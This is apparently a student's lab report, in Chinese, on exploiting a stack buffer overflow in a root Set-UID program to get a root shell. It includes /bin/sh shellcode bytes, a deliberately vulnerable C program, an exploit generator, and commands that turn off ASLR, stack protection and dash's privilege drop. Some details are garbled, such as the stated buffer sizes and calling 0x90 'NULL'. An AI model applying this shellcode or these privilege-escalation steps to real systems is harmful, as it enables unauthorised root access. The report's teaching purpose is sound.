1. 程式人生 > 其它 >20191317王鵬宇緩衝區溢位實驗

20191317王鵬宇緩衝區溢位實驗

緩衝區溢位實驗

緩衝區溢位是指程式試圖向緩衝區寫入超出預分配固定長度資料的情況。這一漏洞可以被惡意使用者利用來改變程式的流控制,甚至執行程式碼的任意片段。這一漏洞的出現是由於資料緩衝器和返回地址的暫時關閉,溢位會引起返回地址被重寫。


實驗過程:

Ubuntu和其他一些Linux系統中,使用地址空間隨機化來隨機堆(heap)和棧(stack)的初始地址,這使得猜測準確的記憶體地址變得十分困難,而猜測記憶體地址是緩衝區溢位攻擊的關鍵。因此本次實驗中,我們使用以下命令關閉這一功能:sudo sysctl -w kernel.randomize_va_space=0

此外,為了進一步防範緩衝區溢位攻擊及其它利用shell程式的攻擊,許多shell程式在被呼叫時自動放棄它們的特權。因此,即使你能欺騙一個Set-UID程式呼叫一個shell,也不能在這個shell中保持root許可權,這個防護措施在/bin/bash中實現。linux系統中,/bin/sh實際是指向/bin/bash或/bin/dash的一個符號連結。為了重現這一防護措施被實現之前的情形,我們使用另一個shell程式(zsh)代替/bin/bash。 sudo ln -s zsh sh


一般情況下,緩衝區溢位會造成程式崩潰,在程式中,溢位的資料覆蓋了返回地址。而如果覆蓋返回地址的資料是另一個地址,那麼程式就會跳轉到該地址,如果該地址存放的是一段精心設計的程式碼用於實現其他功能,這段程式碼就是shellcode。

#include <stdio.h>
int main( )
{
  char *name[2];
  name[0] = ‘‘/bin/sh’’;
  name[1] = NULL;
  execve(name[0], name, NULL);
}

本次實驗的shellcode,就是剛才程式碼的彙編版本:
\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80


除了shellcode以外,我們還需要編寫一個漏洞程式:

/* stack.c */
int bof(char *str)
{
char buffer[12];
    strcpy(buffer, str);
    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;
    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);
    printf("Returned Properly\n");
    return 1;
}

從程式碼中可以看出程式從名為badfile的檔案中讀取輸入,然後傳到函式bof()中的另一個緩衝區,輸入的最大長度為517位元組,但是bof()緩衝區只有24位元組,由於strcpy()不檢查邊界,所以可能會發生緩衝區溢位。在編譯時,需要新增-fno-stack-protector-z execstack選項以關閉StackGuard和不可執行的堆疊保護,編譯之後我們需要使之成為root擁有的Set-UID程式才可以用普通使用者獲取root許可權。
gcc -g -o stack -z execstack -fno-stack-protector stack.c
sudo chown root stack
sudo chmod 4755 stack


接下來需要構造badfile內容:

/* exploit.c  */
void main(int argc, char **argv)
{
    char buffer[517];
FILE *badfile;
//ox90 代表NULL
    memset(&buffer, 0x90, 517);
    strcpy(buffer+100,shellcode);//將shellcode拷貝至buffer
    strcpy(buffer+?,"");//在buffer特定偏移處起始的四個位元組覆蓋shellcode地址
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

接下來我們需要找到特定的偏移地址構造四個位元組,使用gdb stack進行除錯


從圖中可以看出,str的地址為0xbfffef47,shellcode偏移量為100即0x64,所以shellcode的地址為0xbfffefab,即填充為\xab\xef\xff\xbf。
接下來進行反彙編來檢視bof函式:

這裡可以看到lea -0x14(%ebp), %edx,可知buffer儲存在ebp-0x14的位置,即buffer舉例ebp的距離為0x14,根據上述棧幀分析可知return address位置為0x14+4(十進位制)=0x18。
接下來把得到的值填充進exploit.c檔案中:

實踐截圖:

首先我們先編譯執行一下exploit.c檔案:

可以看出我們成功獲取了root許可權,接下來我們對這個實驗結果進行分析。
我們先開啟Linux記憶體地址隨機化:
sudo sysctl -w kernel.randomize_va_space=1

報錯,原因是段錯誤,這種情況通常出現在,當程式企圖訪問CPU無法定址的儲存器區塊,所以我們可以得出一個結論,linux的記憶體地址隨機化對於緩衝區溢位攻擊是有一定保護作用的
另外,GCC編譯器還實現了一種稱為StackGuard的安全機制,防止緩衝區溢位。我們在實驗中在編譯期間使用-fno-stack-protector選項禁用此保護,而且這裡我們需要允許可執行堆疊,在編譯時新增execstack。另外在該系統中/bin/sh符號連結均指向/bin/dash shell,它有一個對策可以防止自身在set-uid程序中執行,如果檢測到執行則將有效使用者ID更改為該程序的真實使用者ID,從而刪除了特權,所以在這個實驗中系統中將/bin/sh連結到另一個沒有這個對策的shell程式:/bin/zsh,從而克服了這一點。


總結

在本實驗中我遇到了很多問題,首先是作業系統的問題,一開始我的實驗實在64位作業系統上進行的,但是遇到了很多問題,例如,在計算str的地址時,如果是64位的系統,就會非常難辦,一長串的地址計算上比較困難,所以需要安裝32位gcc編譯器,但是安裝總是提示出現缺失問題,又解決不了,實在是不堪其擾,重新安裝了一個32位kali linux虛擬機器和32位ubuntu虛擬機器,總算是解決了編譯器的問題。另外我在實驗過程中學習了部分彙編的內容,尤其是在gdb除錯過程中進一步加深了對棧幀結構的認識,對於以後在Linux系統中開發除錯c語言程式奠定了良好的基礎。最重要的一點是,我認識到了緩衝區溢位漏洞對系統影響的嚴重程度,也認識到了我們經常用到的Linux系統中採取的防止緩衝區溢位的措施,這些措施都是非常有效的,但是更重要的是程式設計師自身應該注意處理這方面的程式碼,防止被惡意使用者利用,而且還要進一步提高安全措施防止黑客攻擊。